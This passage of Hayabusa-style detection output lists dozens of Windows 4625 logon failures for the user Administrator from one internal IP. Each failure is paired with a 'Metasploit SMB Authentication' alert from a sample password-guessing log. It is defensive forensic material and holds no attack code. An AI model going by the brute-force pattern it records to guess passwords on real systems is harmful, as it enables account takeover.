Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.322 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Am2qI1ya4wYdqErV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.322 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o2AmZsYUYmDpWZE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.374 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c0Hd8xWxOxFifJBG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlh64Gtfoig2uzOY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.461 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.522 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LtK8Hj2kf3dfFSnW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.522 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VKUPqxtNqkVqXgTg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.562 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SKSxp87CBg8L8wSi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.605 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CpvxvR0ftQs1gdEF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U9RGDzNMt9fM6rLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RvOO9NLhbbKJXQq9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.730 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mDB9bIx7LcoJ6IAU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.777 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfJWsGqlQTmFUUPT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.822 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9PRIO3MASsjrdQGs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P9QCn4nZHB0ENeA1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4iUNHB1gE2d1dBfZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.961 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tM3IdtrLdVXQjOjB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.001 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dbmn9Er9e1JZZybc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.102 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SY40ARcAoo9cWQIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.102 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.139 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fc7m0blzidQfn1BU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.139 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 13SkGPbDDXou7qLA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2YIlJeZpJlvcKgqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.235 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BRhH6atcwLcGmrB4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BGIInLsy4UCfl0oW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.324 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4qJ7nEN0u9DkVuVH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6qb85lEENmrj4ebF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.413 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6RXAj26rnxMmxuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.487 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tas7cqRNGQw6FlVX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.533 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FQlF8GYIeWytFLsJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dj48ftx52s1HntRT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.649 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B46vTS9PxUgUblBp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.710 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.770 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eoIFbywJEC0QaceV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.770 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PSXqaP0i1eeKQOmX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.817 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gke4vfzIAC3k0yXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.874 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZnjxfeIX4ra6vmBA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.919 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ChR30FLLOT3Pvapv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.963 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VkepVf00vkpVp9yV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.006 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5i2AxYxwCX6DvP3M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j8Fvcw2mQBI61mxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.110 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eAazyOpBig2G3Z78 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o1g3rjPQQAXEK2yz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.197 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BC68zrAEF6L00xS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.245 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.294 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8xD2aZArxVdrO6fG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.294 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHJN2mJgwQEZhXBG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.392 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: untyxmsmYrfRlHcu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.441 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eOc2R5V6p9VBsYI2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.486 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V5Ld2NDMjbY3tiT7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ykdbglaCU82nRvk5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 